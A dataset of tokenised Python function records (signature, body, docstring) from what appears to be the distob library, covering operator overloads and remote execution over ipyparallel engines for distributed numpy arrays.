{"signature": "def mean(self, axis=None, dtype=None, out=None, keepdims=False):", "body": "if axis == -<NUM_LIT:1>:<EOL><INDENT>axis = self.ndim<EOL><DEDENT>if axis is None:<EOL><INDENT>results = vectorize(mean)(self, axis, dtype, keepdims=False)<EOL>weights = self._sublengths<EOL>res = np.average(results, axis=None, weights=weights)<EOL>if keepdims:<EOL><INDENT>for i in range(self.ndim):<EOL><INDENT>res = expand_dims(res, res.ndim)<EOL><DEDENT><DEDENT><DEDENT>elif axis == self._distaxis:<EOL><INDENT>results = vectorize(mean)(self, axis, dtype, keepdims=True)<EOL>results = gather(results)<EOL>weights = (np.array(self._sublengths, dtype=np.float64) /<EOL>sum(self._sublengths))<EOL>ix = [slice(None)] * self.ndim<EOL>ix[axis] = <NUM_LIT:0><EOL>res = results[ix] * weights[<NUM_LIT:0>]<EOL>for i in range(<NUM_LIT:1>, self._n):<EOL><INDENT>ix[axis] = i<EOL>res = res + results[ix] * weights[i]<EOL><DEDENT>if keepdims:<EOL><INDENT>res = expand_dims(res, axis)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>res = vectorize(mean)(self, axis, dtype, keepdims=False)<EOL>if keepdims:<EOL><INDENT>res = expand_dims(res, axis)<EOL><DEDENT><DEDENT>if out is not None:<EOL><INDENT>out[:] = res<EOL><DEDENT>return res<EOL>", "docstring": "Compute the arithmetic mean along the specified axis.\n        See np.mean() for details.", "id": "f4853:c1:m25"}
{"signature": "def __add__(self, other):", "body": "return np.add(self, other)<EOL>", "docstring": "x.__add__(y) <==> x+y", "id": "f4853:c1:m26"}
{"signature": "def __radd__(self, other):", "body": "return np.add(other, self)<EOL>", "docstring": "x.__radd__(y) <==> y+x", "id": "f4853:c1:m27"}
{"signature": "def __sub__(self, other):", "body": "return np.subtract(self, other)<EOL>", "docstring": "x.__sub__(y) <==> x-y", "id": "f4853:c1:m28"}
{"signature": "def __rsub__(self, other):", "body": "return np.subtract(other, self)<EOL>", "docstring": "x.__rsub__(y) <==> y-x", "id": "f4853:c1:m29"}
{"signature": "def __mul__(self, other):", "body": "return np.multiply(self, other)<EOL>", "docstring": "x.__mul__(y) <==> x*y", "id": "f4853:c1:m30"}
{"signature": "def __rmul__(self, other):", "body": "return np.multiply(other, self)<EOL>", "docstring": "x.__rmul__(y) <==> y*x", "id": "f4853:c1:m31"}
{"signature": "def __floordiv__(self, other):", "body": "return np.floor_divide(self, other)<EOL>", "docstring": "x.__floordiv__(y) <==> x//y", "id": "f4853:c1:m32"}
{"signature": "def __rfloordiv__(self, other):", "body": "return np.floor_divide(other, self)<EOL>", "docstring": "x.__rfloordiv__(y) <==> y//x", "id": "f4853:c1:m33"}
{"signature": "def __mod__(self, other):", "body": "return np.mod(self, other)<EOL>", "docstring": "x.__mod__(y) <==> x%y", "id": "f4853:c1:m34"}
{"signature": "def __rmod__(self, other):", "body": "return np.mod(other, self)<EOL>", "docstring": "x.__rmod__(y) <==> y%x", "id": "f4853:c1:m35"}
{"signature": "def __divmod__(self, other):", "body": "return (np.floor_divide(self - self % other, other), self % other)<EOL>", "docstring": "x.__divmod__(y) <==> divmod(x, y)", "id": "f4853:c1:m36"}
{"signature": "def __rdivmod__(self, other):", "body": "return (np.floor_divide(other - other % self, self), other % self)<EOL>", "docstring": "x.__rdivmod__(y) <==> divmod(y, x)", "id": "f4853:c1:m37"}
{"signature": "def __pow__(self, other, modulo=None):", "body": "<EOL>return np.power(self, other)<EOL>", "docstring": "x.__pow__(y[, z]) <==> pow(x, y[, z])", "id": "f4853:c1:m38"}
{"signature": "def __rpow__(self, other, modulo=None):", "body": "<EOL>return np.power(other, self)<EOL>", "docstring": "y.__rpow__(x[, z]) <==> pow(x, y[, z])", "id": "f4853:c1:m39"}
{"signature": "def __lshift__(self, other):", "body": "return np.left_shift(self, other)<EOL>", "docstring": "x.__lshift__(y) <==> x<<y", "id": "f4853:c1:m40"}
{"signature": "def __rlshift__(self, other):", "body": "return np.left_shift(other, self)<EOL>", "docstring": "x.__lshift__(y) <==> y<<x", "id": "f4853:c1:m41"}
{"signature": "def __rshift__(self, other):", "body": "return np.right_shift(self, other)<EOL>", "docstring": "x.__rshift__(y) <==> x>>y", "id": "f4853:c1:m42"}
{"signature": "def __rrshift__(self, other):", "body": "return np.right_shift(other, self)<EOL>", "docstring": "x.__rshift__(y) <==> y>>x", "id": "f4853:c1:m43"}
{"signature": "def __and__(self, other):", "body": "return np.bitwise_and(self, other)<EOL>", "docstring": "x.__and__(y) <==> x&y", "id": "f4853:c1:m44"}
{"signature": "def __rand__(self, other):", "body": "return np.bitwise_and(other, self)<EOL>", "docstring": "x.__rand__(y) <==> y&x", "id": "f4853:c1:m45"}
{"signature": "def __xor__(self, other):", "body": "return np.bitwise_xor(self, other)<EOL>", "docstring": "x.__xor__(y) <==> x^y", "id": "f4853:c1:m46"}
{"signature": "def __rxor__(self, other):", "body": "return np.bitwise_xor(other, self)<EOL>", "docstring": "x.__rxor__(y) <==> y^x", "id": "f4853:c1:m47"}
{"signature": "def __or__(self, other):", "body": "return np.bitwise_or(self, other)<EOL>", "docstring": "x.__or__(y) <==> x|y", "id": "f4853:c1:m48"}
{"signature": "def __ror__(self, other):", "body": "return np.bitwise_or(other, self)<EOL>", "docstring": "x.__ror__(y) <==> y|x", "id": "f4853:c1:m49"}
{"signature": "def __div__(self, other):", "body": "return np.divide(self, other)<EOL>", "docstring": "x.__div__(y) <==> x/y", "id": "f4853:c1:m50"}
{"signature": "def __rdiv__(self, other):", "body": "return np.divide(other, self)<EOL>", "docstring": "x.__rdiv__(y) <==> y/x", "id": "f4853:c1:m51"}
{"signature": "def __truediv__(self, other):", "body": "return np.true_divide(self, other)<EOL>", "docstring": "x.__truediv__(y) <==> x/y", "id": "f4853:c1:m52"}
{"signature": "def __rtruediv__(self, other):", "body": "return np.true_divide(other, self)<EOL>", "docstring": "x.__rtruediv__(y) <==> y/x", "id": "f4853:c1:m53"}
{"signature": "def __iadd__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__add__(y) <==> x+=y", "id": "f4853:c1:m54"}
{"signature": "def __isub__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__sub__(y) <==> x-=y", "id": "f4853:c1:m55"}
{"signature": "def __imul__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__mul__(y) <==> x*=y", "id": "f4853:c1:m56"}
{"signature": "def __ifloordiv__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__floordiv__(y) <==> x//=y", "id": "f4853:c1:m57"}
{"signature": "def __imod__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__mod__(y) <==> x%=y", "id": "f4853:c1:m58"}
{"signature": "def __ipow__(self, other, modulo=None):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__pow__(y) <==> x**=y", "id": "f4853:c1:m59"}
{"signature": "def __ilshift__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__lshift__(y) <==> x<<=y", "id": "f4853:c1:m60"}
{"signature": "def __irshift__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__rshift__(y) <==> x>>=y", "id": "f4853:c1:m61"}
{"signature": "def __iand__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__and__(y) <==> x&=y", "id": "f4853:c1:m62"}
{"signature": "def __ixor__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__xor__(y) <==> x^=y", "id": "f4853:c1:m63"}
{"signature": "def __ior__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__or__(y) <==> x|=y", "id": "f4853:c1:m64"}
{"signature": "def __idiv__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__div__(y) <==> x/=y", "id": "f4853:c1:m65"}
{"signature": "def __itruediv__(self, other):", "body": "raise Error('<STR_LIT>')<EOL>", "docstring": "x.__truediv__(y) <==> x/=y", "id": "f4853:c1:m66"}
{"signature": "def __neg__(self):", "body": "return np.negative(self)<EOL>", "docstring": "x.__neg__() <==> -x", "id": "f4853:c1:m67"}
{"signature": "def __pos__(self):", "body": "return self<EOL>", "docstring": "x.__pos__() <==> +x", "id": "f4853:c1:m68"}
{"signature": "def __abs__(self):", "body": "return np.abs(self)<EOL>", "docstring": "x.__abs__() <==> abs(x)", "id": "f4853:c1:m69"}
{"signature": "def __invert__(self):", "body": "return np.invert(self)<EOL>", "docstring": "x.__invert__() <==> ~x", "id": "f4853:c1:m70"}
{"signature": "def dot(self, other):", "body": "return np.dot(self, other)<EOL>", "docstring": "Dot product of two arrays.\n        Refer to `numpy.dot` for full documentation.", "id": "f4853:c1:m71"}
{"signature": "def _remote_setup_engine(engine_id, nengines):", "body": "if distob.engine is None:<EOL><INDENT>distob.engine = distob.ObjectEngine(engine_id, nengines)<EOL><DEDENT>import numpy as np<EOL>from scipy import stats<EOL>import __main__<EOL>__main__.__dict__['<STR_LIT>'] = np<EOL>__main__.__dict__['<STR_LIT>'] = stats<EOL>", "docstring": "(Executed on remote engine) creates an ObjectEngine instance", "id": "f4855:m1"}
{"signature": "def setup_engines(client=None):", "body": "if not client:<EOL><INDENT>try:<EOL><INDENT>client = ipyparallel.Client()<EOL><DEDENT>except:<EOL><INDENT>raise DistobClusterError(<EOL>u\"\"\"<STR_LIT>\"\"\")<EOL><DEDENT><DEDENT>eids = client.ids<EOL>if not eids:<EOL><INDENT>raise DistobClusterError(<EOL>u'<STR_LIT>')<EOL><DEDENT>nengines = len(eids)<EOL>dv = client[eids]<EOL>dv.use_dill()<EOL>with dv.sync_imports(quiet=True):<EOL><INDENT>import distob<EOL><DEDENT>ars = []<EOL>for i in eids:<EOL><INDENT>dv.targets = i<EOL>ars.append(dv.apply_async(_remote_setup_engine, i, nengines))<EOL><DEDENT>dv.wait(ars)<EOL>for ar in ars:<EOL><INDENT>if not ar.successful():<EOL><INDENT>raise ar.r<EOL><DEDENT><DEDENT>if distob.engine is None:<EOL><INDENT>distob.engine = ObjectHub(-<NUM_LIT:1>, client)<EOL><DEDENT>", "docstring": "Prepare all iPython engines for distributed object processing.\n\n    Args:\n      client (ipyparallel.Client, optional): If None, will create a client\n        using the default ipyparallel profile.", "id": "f4855:m2"}
{"signature": "def _process_args(args, kwargs, prefer_local=True, recurse=True):", "body": "this_engine = distob.engine.eid<EOL>local_args = []<EOL>remote_args = []<EOL>execloc = this_engine  <EOL>for a in args:<EOL><INDENT>id = None<EOL>if isinstance(a, Remote):<EOL><INDENT>id = a._ref.id<EOL><DEDENT>elif isinstance(a, Ref):<EOL><INDENT>id = a.id<EOL><DEDENT>elif isinstance(a, Id):<EOL><INDENT>id = a<EOL><DEDENT>if id is not None:<EOL><INDENT>if id.engine is this_engine:<EOL><INDENT>local_args.append(distob.engine[id])<EOL>remote_args.append(distob.engine[id])<EOL><DEDENT>else:<EOL><INDENT>if (prefer_local and isinstance(a, Remote) and <EOL>a._obcache_current):<EOL><INDENT>local_args.append(a._obcache)<EOL>remote_args.append(id)<EOL><DEDENT>else:<EOL><INDENT>if execloc is not this_engine and id.engine is not execloc:<EOL><INDENT>raise DistobValueError(<EOL>'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>execloc = id.engine<EOL>local_args.append(None)<EOL>remote_args.append(id)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif (isinstance(a, collections.Sequence) and<EOL>not isinstance(a, string_types) and recurse):<EOL><INDENT>eid, ls, _ = _process_args(a, {}, prefer_local, recurse=False)<EOL>if eid is not this_engine:<EOL><INDENT>if execloc is not this_engine and eid is not execloc:<EOL><INDENT>raise DistobValueError(<EOL>'<STR_LIT>')<EOL><DEDENT>execloc = eid<EOL><DEDENT>local_args.append(ls)<EOL>remote_args.append(ls)<EOL><DEDENT>else:<EOL><INDENT>local_args.append(a)<EOL>remote_args.append(a)<EOL><DEDENT><DEDENT>local_kwargs = dict()<EOL>remote_kwargs = dict()<EOL>for k, a in kwargs.items():<EOL><INDENT>id = None<EOL>if isinstance(a, Remote):<EOL><INDENT>id = a._ref.id<EOL><DEDENT>elif isinstance(a, Ref):<EOL><INDENT>id = a.id<EOL><DEDENT>elif isinstance(a, Id):<EOL><INDENT>id = a<EOL><DEDENT>if id is not None:<EOL><INDENT>if id.engine is this_engine:<EOL><INDENT>local_kwargs[k] = distob.engine[id]<EOL>remote_kwargs[k] = distob.engine[id]<EOL><DEDENT>else:<EOL><INDENT>if (prefer_local and isinstance(a, Remote) and<EOL>a._obcache_current):<EOL><INDENT>local_kwargs[k] = a._obcache<EOL>remote_kwargs[k] = id<EOL><DEDENT>else:<EOL><INDENT>if execloc is not this_engine and id.engine is not execloc:<EOL><INDENT>raise DistobValueError(<EOL>'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>execloc = id.engine<EOL>local_kwargs[k] = None<EOL>remote_kwargs[k] = id<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif (isinstance(a, collections.Sequence) and<EOL>not isinstance(a, string_types) and recurse):<EOL><INDENT>eid, ls, _ = _process_args(a, {}, prefer_local, recurse=False)<EOL>if eid is not this_engine:<EOL><INDENT>if execloc is not this_engine and eid is not execloc:<EOL><INDENT>raise DistobValueError(<EOL>'<STR_LIT>')<EOL><DEDENT>execloc = eid<EOL><DEDENT>local_kwargs[k] = ls<EOL>remote_kwargs[k] = ls<EOL><DEDENT>else:<EOL><INDENT>local_kwargs[k] = a<EOL>remote_kwargs[k] = a<EOL><DEDENT><DEDENT>if execloc is this_engine:<EOL><INDENT>return execloc, tuple(local_args), local_kwargs<EOL><DEDENT>else:<EOL><INDENT>return execloc, tuple(remote_args), remote_kwargs<EOL><DEDENT>", "docstring": "Select local or remote execution and prepare arguments accordingly.\n    Assumes any remote args have already been moved to a common engine.\n\n    Local execution will be chosen if:\n    - all args are ordinary objects or Remote instances on the local engine; or\n    - the local cache of all remote args is current, and prefer_local is True.\n    Otherwise, remote execution will be chosen. \n\n    For remote execution, replaces any remote arg with its Id.\n    For local execution, replaces any remote arg with its locally cached object\n    Any arguments or kwargs that are Sequences will be recursed one level deep.\n\n    Args:\n      args (list)\n      kwargs (dict)\n      prefer_local (bool, optional): Whether cached local results are prefered\n        if available, instead of returning Remote objects. Default is True.", "id": "f4855:m3"}
{"signature": "def _remote_call(f, *args, **kwargs):", "body": "nargs = []<EOL>for a in args:<EOL><INDENT>if isinstance(a, Id):<EOL><INDENT>nargs.append(distob.engine[a])<EOL><DEDENT>elif (isinstance(a, collections.Sequence) and<EOL>not isinstance(a, string_types)):<EOL><INDENT>nargs.append(<EOL>[distob.engine[b] if isinstance(b, Id) else b for b in a])<EOL><DEDENT>else: nargs.append(a)<EOL><DEDENT>for k, a in kwargs.items():<EOL><INDENT>if isinstance(a, Id):<EOL><INDENT>kwargs[k] = distob.engine[a]<EOL><DEDENT>elif (isinstance(a, collections.Sequence) and<EOL>not isinstance(a, string_types)):<EOL><INDENT>kwargs[k] = [<EOL>distob.engine[b] if isinstance(b, Id) else b for b in a]<EOL><DEDENT><DEDENT>result = f(*nargs, **kwargs)<EOL>if (isinstance(result, collections.Sequence) and<EOL>not isinstance(result, string_types)):<EOL><INDENT>results = []<EOL>for subresult in result:<EOL><INDENT>if type(subresult) in distob.engine.proxy_types: <EOL><INDENT>results.append(Ref(subresult))<EOL><DEDENT>else:<EOL><INDENT>results.append(subresult)<EOL><DEDENT><DEDENT>return results<EOL><DEDENT>elif type(result) in distob.engine.proxy_types:<EOL><INDENT>return Ref(result)<EOL><DEDENT>else:<EOL><INDENT>return result<EOL><DEDENT>", "docstring": "(Executed on remote engine) convert Ids to real objects, call f", "id": "f4855:m4"}
{"signature": "def call(f, *args, **kwargs):", "body": "this_engine = distob.engine.eid<EOL>prefer_local = kwargs.pop('<STR_LIT>', True)<EOL>block = kwargs.pop('<STR_LIT>', True)<EOL>execloc, args, kwargs = _process_args(args, kwargs, prefer_local)<EOL>if execloc is this_engine:<EOL><INDENT>r = f(*args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>if False and prefer_local:<EOL><INDENT>try:<EOL><INDENT>kwtuple = tuple((k, kwargs[k]) for k in sorted(kwargs.keys()))<EOL>key = (f, args, kwtuple)<EOL>r = _call_cache[key]<EOL><DEDENT>except TypeError as te:<EOL><INDENT>if te.args[<NUM_LIT:0>][:<NUM_LIT:10>] == '<STR_LIT>':<EOL><INDENT>r = _uncached_call(execloc, f, *args, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>r = _uncached_call(execloc, f, *args, **kwargs)<EOL>if block:<EOL><INDENT>_call_cache[key] = r.r<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>r = _uncached_call(execloc, f, *args, **kwargs)<EOL><DEDENT><DEDENT>if block:<EOL><INDENT>return convert_result(r)<EOL><DEDENT>else:<EOL><INDENT>return r<EOL><DEDENT>", "docstring": "Execute f on the arguments, either locally or remotely as appropriate.\n    If there are multiple remote arguments, they must be on the same engine.\n\n    kwargs:\n      prefer_local (bool, optional): Whether to return cached local results if\n        available, in preference to returning Remote objects. Default is True.\n      block (bool, optional): Whether remote calls should be synchronous.\n        If False, returned results may be AsyncResults and should be converted\n        by the caller using convert_result() before use. Default is True.", "id": "f4855:m6"}
{"signature": "def convert_result(r):", "body": "if (isinstance(r, collections.Sequence) and<EOL>not isinstance(r, string_types)):<EOL><INDENT>rs = []<EOL>for subresult in r:<EOL><INDENT>rs.append(convert_result(subresult))<EOL><DEDENT>return rs<EOL><DEDENT>if isinstance(r, ipyparallel.AsyncResult):<EOL><INDENT>r = r.r<EOL><DEDENT>if isinstance(r, Ref):<EOL><INDENT>RemoteClass = distob.engine.proxy_types[r.type]<EOL>r = RemoteClass(r)<EOL><DEDENT>return r<EOL>", "docstring": "Waits for and converts any AsyncResults. Converts any Ref into a Remote.\n    Args:\n      r: can be an ordinary object, ipyparallel.AsyncResult, a Ref, or a\n        Sequence of objects, AsyncResults and Refs.\n    Returns: \n      either an ordinary object or a Remote instance", "id": "f4855:m7"}
{"signature": "def _remote_methodcall(id, method_name, *args, **kwargs):", "body": "obj = distob.engine[id]<EOL>nargs = []<EOL>for a in args:<EOL><INDENT>if isinstance(a, Id):<EOL><INDENT>nargs.append(distob.engine[a])<EOL><DEDENT>elif (isinstance(a, collections.Sequence) and<EOL>not isinstance(a, string_types)):<EOL><INDENT>nargs.append(<EOL>[distob.engine[b] if isinstance(b, Id) else b for b in a])<EOL><DEDENT>else: nargs.append(a)<EOL><DEDENT>for k, a in kwargs.items():<EOL><INDENT>if isinstance(a, Id):<EOL><INDENT>kwargs[k] = distob.engine[a]<EOL><DEDENT>elif (isinstance(a, collections.Sequence) and<EOL>not isinstance(a, string_types)):<EOL><INDENT>kwargs[k] = [<EOL>distob.engine[b] if isinstance(b, Id) else b for b in a]<EOL><DEDENT><DEDENT>result = getattr(obj, method_name)(*nargs, **kwargs)<EOL>if (isinstance(result, collections.Sequence) and<EOL>not isinstance(result, string_types)):<EOL><INDENT>results = []<EOL>for subresult in result:<EOL><INDENT>if type(subresult) in distob.engine.proxy_types: <EOL><INDENT>results.append(Ref(subresult))<EOL><DEDENT>else:<EOL><INDENT>results.append(subresult)<EOL><DEDENT><DEDENT>return results<EOL><DEDENT>elif type(result) in distob.engine.proxy_types:<EOL><INDENT>return Ref(result)<EOL><DEDENT>else:<EOL><INDENT>return result<EOL><DEDENT>", "docstring": "(Executed on remote engine) convert Ids to real objects, call method", "id": "f4855:m8"}
{"signature": "def methodcall(obj, method_name, *args, **kwargs):", "body": "this_engine = distob.engine.eid<EOL>args = [obj] + list(args)<EOL>prefer_local = kwargs.pop('<STR_LIT>', None)<EOL>if prefer_local is None:<EOL><INDENT>if isinstance(obj, Remote):<EOL><INDENT>prefer_local = obj.prefer_local<EOL><DEDENT>else:<EOL><INDENT>prefer_local = True<EOL><DEDENT><DEDENT>block = kwargs.pop('<STR_LIT>', True)<EOL>execloc, args, kwargs = _process_args(args, kwargs, prefer_local)<EOL>if execloc is this_engine:<EOL><INDENT>r = getattr(args[<NUM_LIT:0>], method_name)(*args[<NUM_LIT:1>:], **kwargs)<EOL><DEDENT>else:<EOL><INDENT>if False and prefer_local:<EOL><INDENT>try:<EOL><INDENT>kwtuple = tuple((k, kwargs[k]) for k in sorted(kwargs.keys()))<EOL>key = (args[<NUM_LIT:0>], method_name, args, kwtuple)<EOL>r = _call_cache[key]<EOL><DEDENT>except TypeError as te:<EOL><INDENT>if te.args[<NUM_LIT:0>][:<NUM_LIT:10>] == '<STR_LIT>':<EOL><INDENT>r = _uncached_methodcall(execloc, args[<NUM_LIT:0>], method_name,<EOL>*args[<NUM_LIT:1>:], **kwargs)<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>r = _uncached_methodcall(execloc, args[<NUM_LIT:0>], method_name,<EOL>*args[<NUM_LIT:1>:], **kwargs)<EOL>if block:<EOL><INDENT>_call_cache[key] = r.r<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>r = _uncached_methodcall(execloc, args[<NUM_LIT:0>], method_name,<EOL>*args[<NUM_LIT:1>:], **kwargs)<EOL><DEDENT><DEDENT>if block:<EOL><INDENT>return convert_result(r)<EOL><DEDENT>else:<EOL><INDENT>return r<EOL><DEDENT>", "docstring": "Call a method of `obj`, either locally or remotely as appropriate.\n    obj may be an ordinary object, or a Remote object (or Ref or object Id)\n    If there are multiple remote arguments, they must be on the same engine.\n\n    kwargs:\n      prefer_local (bool, optional): Whether to return cached local results if\n        available, in preference to returning Remote objects. Default is True.\n      block (bool, optional): Whether remote calls should be synchronous.\n        If False, returned results may be AsyncResults and should be converted\n        by the caller using convert_result() before use. Default is True.", "id": "f4855:m10"}
{"signature": "def _scan_instance(obj, include_underscore, exclude):", "body": "from sys import getsizeof<EOL>always_exclude = ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>')<EOL>method_info = []<EOL>attributes_info = []<EOL>if hasattr(obj, '<STR_LIT>'):<EOL><INDENT>for name in obj.__dict__:<EOL><INDENT>if (name not in exclude and <EOL>name not in always_exclude and<EOL>(name[<NUM_LIT:0>] != '<STR_LIT:_>' or <EOL>include_underscore is True or<EOL>name in include_underscore)):<EOL><INDENT>f = obj.__dict__[name]<EOL>if hasattr(f, '<STR_LIT>'):<EOL><INDENT>doc = f.__doc__<EOL><DEDENT>else:<EOL><INDENT>doc = None<EOL><DEDENT>if callable(f) and not isinstance(f, type):<EOL><INDENT>method_info.append((name, doc))<EOL><DEDENT>else:<EOL><INDENT>attributes_info.append((name, doc))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return (method_info, attributes_info, getsizeof(obj))<EOL>", "docstring": "(Executed on remote or local engine) Examines an object and returns info\n    about any instance-specific methods or attributes.\n    (For example, any attributes that were set by __init__() )\n\n    By default, methods or attributes starting with an underscore are ignored.\n\n    Args:\n      obj (object): the object to scan. must be on this local engine.\n      include_underscore (bool or sequence of str): Should methods or\n        attributes that start with an underscore be proxied anyway? If a\n        sequence of names is provided then methods or attributes starting with\n        an underscore will only be proxied if their names are in the sequence.\n      exclude (sequence of str): names of any methods or attributes that should\n        not be reported.", "id": "f4855:m13"}
{"signature": "def proxy_methods(base, include_underscore=None, exclude=None, supers=True):", "body": "always_exclude = ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>')<EOL>if isinstance(include_underscore, str):<EOL><INDENT>include_underscore = (include_underscore,)<EOL><DEDENT>if isinstance(exclude, str):<EOL><INDENT>exclude = (exclude,)<EOL><DEDENT>if not include_underscore:<EOL><INDENT>include_underscore = ()<EOL><DEDENT>if not exclude:<EOL><INDENT>exclude = ()<EOL><DEDENT>def rebuild_class(cls):<EOL><INDENT>bases_other = list(cls.__bases__)<EOL>if bases_other[-<NUM_LIT:1>] is object:<EOL><INDENT>bases_other.pop()<EOL><DEDENT>if base in bases_other:<EOL><INDENT>bases_other = bases_other[:bases_other.index(base)]<EOL><DEDENT>if not issubclass(cls.__bases__[<NUM_LIT:0>], Remote):<EOL><INDENT>raise DistobTypeError('<STR_LIT>')<EOL><DEDENT>if not issubclass(base, object):<EOL><INDENT>raise DistobTypeError('<STR_LIT>')<EOL><DEDENT>dct = cls.__dict__.copy()<EOL>if cls.__doc__ is None or '<STR_LIT:\\n>' not in cls.__doc__:<EOL><INDENT>base_doc = base.__doc__<EOL>if base_doc is None:<EOL><INDENT>base_doc = '<STR_LIT>'<EOL><DEDENT>dct['<STR_LIT>'] = \"\"\"<STR_LIT>\"\"\" % ((base.__name__,)*<NUM_LIT:3>) + base_doc<EOL><DEDENT>newcls = type(cls.__name__, cls.__bases__, dct)<EOL>newcls._include_underscore = include_underscore<EOL>newcls._exclude = exclude<EOL>if supers:<EOL><INDENT>proxied_classes = base.__mro__[:-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>proxied_classes = (base,)<EOL><DEDENT>for c in proxied_classes:<EOL><INDENT>for name in c.__dict__:<EOL><INDENT>if (name not in newcls.__dict__ and<EOL>all(name not in b.__dict__ <EOL>for c in bases_other for b in c.mro()[:-<NUM_LIT:1>]) and<EOL>name not in newcls._exclude and<EOL>name not in always_exclude and<EOL>(name[<NUM_LIT:0>] != '<STR_LIT:_>' or <EOL>newcls._include_underscore is True or<EOL>name in newcls._include_underscore)):<EOL><INDENT>f = c.__dict__[name]<EOL>if hasattr(f, '<STR_LIT>'):<EOL><INDENT>doc = f.__doc__<EOL><DEDENT>else:<EOL><INDENT>doc = None<EOL><DEDENT>if callable(f) and not isinstance(f, type):<EOL><INDENT>setattr(newcls, name, _make_proxy_method(name, doc))<EOL><DEDENT>else:<EOL><INDENT>setattr(newcls, name, _make_proxy_property(name, doc))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>newcls.__module__ = '<STR_LIT:__main__>' <EOL>import __main__<EOL>__main__.__dict__[newcls.__name__] = newcls <EOL>ObjectHub.register_proxy_type(base, newcls)<EOL>return newcls<EOL><DEDENT>return rebuild_class<EOL>", "docstring": "class decorator. Modifies `Remote` subclasses to add proxy methods and\n    attributes that mimic those defined in class `base`.\n\n    Example:\n\n      @proxy_methods(Tree)\n      class RemoteTree(Remote, Tree)\n\n    The decorator registers the new proxy class and specifies which methods\n    and attributes of class `base` should be proxied via a remote call to\n    a real object, and which methods/attributes should not be proxied but\n    instead called directly on the instance of the proxy class.\n\n    By default all methods and attributes of the class `base` will be\n    proxied except those starting with an underscore.\n\n    The MRO of the decorated class is respected:\n    Any methods and attributes defined in the decorated class\n    (or in other bases of the decorated class that do not come after `base`\n     in its MRO) will override those added by this decorator,\n    so that `base` is treated like a base class.\n\n    Args:\n      base (type): The class whose instances should be remotely controlled.\n      include_underscore (bool or sequence of str): Should methods or\n        attributes that start with an underscore be proxied anyway? If a\n        sequence of names is provided then methods or attributes starting with\n        an underscore will only be proxied if their names are in the sequence.\n      exclude (sequence of str): Names of any methods or attributes that \n        should not be proxied.\n      supers (bool): Proxy methods and attributes defined in superclasses \n        of ``base``, in addition to those defined directly in class ``base``", "id": "f4855:m14"}
{"signature": "def _async_scatter(obj, destination=None):", "body": "<EOL>if (isinstance(obj, Remote) or <EOL>isinstance(obj, numbers.Number) or <EOL>obj is None):<EOL><INDENT>return obj<EOL><DEDENT>if (isinstance(obj, collections.Sequence) and <EOL>not isinstance(obj, string_types)):<EOL><INDENT>ars = []<EOL>if destination is not None:<EOL><INDENT>assert(len(destination) == len(obj))<EOL>for i in range(len(obj)):<EOL><INDENT>ars.append(_async_scatter(obj[i], destination[i]))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for i in range(len(obj)):<EOL><INDENT>ars.append(_async_scatter(obj[i], destination=None))<EOL><DEDENT><DEDENT>return ars<EOL><DEDENT>else:<EOL><INDENT>if distob.engine is None:<EOL><INDENT>setup_engines()<EOL><DEDENT>client = distob.engine._client<EOL>dv = distob.engine._dv<EOL>def remote_put(obj):<EOL><INDENT>return Ref(obj)<EOL><DEDENT>if destination is not None:<EOL><INDENT>assert(isinstance(destination, numbers.Integral))<EOL>dv.targets = destination<EOL><DEDENT>else:<EOL><INDENT>dv.targets = _async_scatter.next_engine<EOL>_async_scatter.next_engine = (<EOL>_async_scatter.next_engine + <NUM_LIT:1>) % len(client)<EOL><DEDENT>ar_ref = dv.apply_async(remote_put, obj)<EOL>dv.targets = client.ids<EOL>return ar_ref<EOL><DEDENT>", "docstring": "Distribute an obj or list to remote engines. \n    Return an async result or (possibly nested) lists of async results, \n    each of which is a Ref", "id": "f4855:m15"}
